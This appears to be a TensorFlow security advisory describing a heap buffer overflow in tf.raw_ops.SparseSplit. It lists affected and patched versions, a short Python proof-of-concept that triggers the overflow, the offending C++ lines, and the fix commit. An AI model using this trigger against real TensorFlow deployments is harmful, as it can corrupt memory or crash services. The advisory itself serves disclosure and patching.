| Package | Affected versions | Patched versions |
|---|---|---|
| tensorflow | ≥ 2.2.0, < 2.2.3≥ 2.2.0, < 2.3.0rc0≥ 2.3.0, < 2.3.3≥ 2.3.0, < 2.3.4≥ 2.4.0, < 2.4.2≥ 2.4.0, < 2.4.3< 2.1.4 | 2.2.32.3.0rc02.3.32.3.42.4.22.4.32.1.4 |
| tensorflow-cpu | ≥ 2.2.0, < 2.2.3≥ 2.2.0, < 2.3.0rc0≥ 2.3.0, < 2.3.3≥ 2.3.0, < 2.3.4≥ 2.4.0, < 2.4.2≥ 2.4.0, < 2.4.3< 2.1.4 | 2.2.32.3.0rc02.3.32.3.42.4.22.4.32.1.4 |
| tensorflow-gpu | ≥ 2.2.0, < 2.2.3≥ 2.2.0, < 2.3.0rc0≥ 2.3.0, < 2.3.3≥ 2.3.0, < 2.3.4≥ 2.4.0, < 2.4.2≥ 2.4.0, < 2.4.3< 2.1.4 | 2.2.32.3.0rc02.3.32.3.42.4.22.4.32.1.4 |
| tensorflow | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
An attacker can cause a heap buffer overflow in tf.raw_ops.SparseSplit:
import tensorflow as tf
shape_dims = tf.constant(0, dtype=tf.int64)
indices = tf.ones([1, 1], dtype=tf.int64)
values = tf.ones([1], dtype=tf.int64)
shape = tf.ones([1], dtype=tf.int64)
tf.raw_ops.SparseSplit(
split_dim=shape_dims, indices=indices, values=values,
shape=shape, num_split=1)
This is because the implementation accesses an array element based on a user controlled offset:
const int dim = input_tensor.indices().matrix<int64>()(i, split_dim);
int slice_index = GetSliceIndex(dim, split_size, residual);
num_values[slice_index]++;
This results in overriding values on the heap.
We have patched the issue in GitHub commit 8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
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